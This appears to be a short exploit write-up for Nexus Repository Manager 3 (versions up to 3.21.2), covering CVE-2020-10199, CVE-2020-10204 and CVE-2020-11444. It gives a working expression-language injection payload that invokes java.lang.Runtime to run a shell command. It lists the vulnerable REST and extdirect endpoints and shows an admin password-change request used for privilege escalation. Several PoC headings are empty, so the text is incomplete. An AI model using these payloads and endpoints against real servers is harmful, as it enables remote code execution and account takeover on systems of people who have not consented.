Nexus Repository Manager 3 Vuln (Affected versions: <= 3.21.2)

CVE-2020-10199, CVE-2020-10204, CVE-2020-11444

CVE-2020-10199 Remote Code Execution

Echo PoC

No Echo PoC

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}

Normal User Privileges

/service/rest/beta/repositories/go/group

Requires Admin Privileges

1. Create CleanupPolicy

/service/extdirect

2. Create repositories

/service/rest/beta/repositories/apt/hosted

CVE-2020-10204 Remote Code Execution

1. Using the update user endpoint /service/extdirect
2. Using the create role endpoint /service/extdirect

CVE-2020-11444 Privilege Escalation Vulnerability

Calling the update role endpoint

/service/rest/beta/security/users/admin/change-password

POST:
123456

References

https://www.cnblogs.com/magic-zero/p/12641068.html

https://github.com/threedr3am/learnjavabug/tree/93d57c428333f98b5927d02630737e639dcb226b/nexus